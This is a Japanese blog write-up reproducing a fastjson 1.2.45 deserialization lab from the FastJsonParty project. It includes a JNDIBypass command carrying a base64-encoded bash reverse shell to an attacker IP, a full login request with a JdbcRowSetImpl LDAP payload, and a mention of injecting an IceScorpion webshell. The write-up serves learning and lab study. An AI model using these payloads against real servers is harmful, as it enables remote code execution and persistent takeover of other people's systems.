banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

fastjsonの脆弱性再現-1245-jdk8u342

脆弱性の利用#

参考:https://github.com/lemono0/FastJsonParty/blob/main/1247-waf-c3p0/write-up.md

プロセスの再現を主に行い、脆弱性の利用プロセスを理解します。ネット上には多くの専門家の記事があり、非常に良く書かれていますが、基礎学習としてはまだ不十分です(特に IDEA を使って Java ファイルをコンパイルする方法や、依存関係などの基本的な問題の解決方法について、-__-|.)。そこで、自分の再現プロセスの流れを書き留めます。

ログイン時にパケットをキャプチャし、リクエストパケットは以下の通りです:

Pasted image 20241230150320

エラーメッセージの理解バージョン

{
  "@type": "java.lang.AutoCloseable"

Pasted image 20241230150723

fastjson のバージョンは 1.2.45 です。

著者の説明によると、JDK の高バージョンを回避する必要があるため、著者の JNDIBypass.jar ツールを使用します。

JNDIBypass.jar ファイルを使用して ldap サービスを起動します。

java -jar .\JNDIBypass.jar -a 192.168.80.53 -p 1389 -c "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC44MC41My8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}"

nc をリッスンします。

Pasted image 20250102104658

パケットを送信します。

POST /login HTTP/1.1
Host: 192.168.80.53
Content-Length: 262
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/json; charset=UTF-8
Origin: http://192.168.80.53
Referer: http://192.168.80.53/tologin
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://192.168.80.53:1389/jpiuw",
        "autoCommit":true
    }
}

Pasted image 20250102104820

シェルが返されます。

Pasted image 20250102104906

java -jar .\JNDIBypass.jar -h

Pasted image 20250102105053

IceScorpion マルウェアを注入します。

Pasted image 20250102105226

接続します。

Pasted image 20250102105416

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。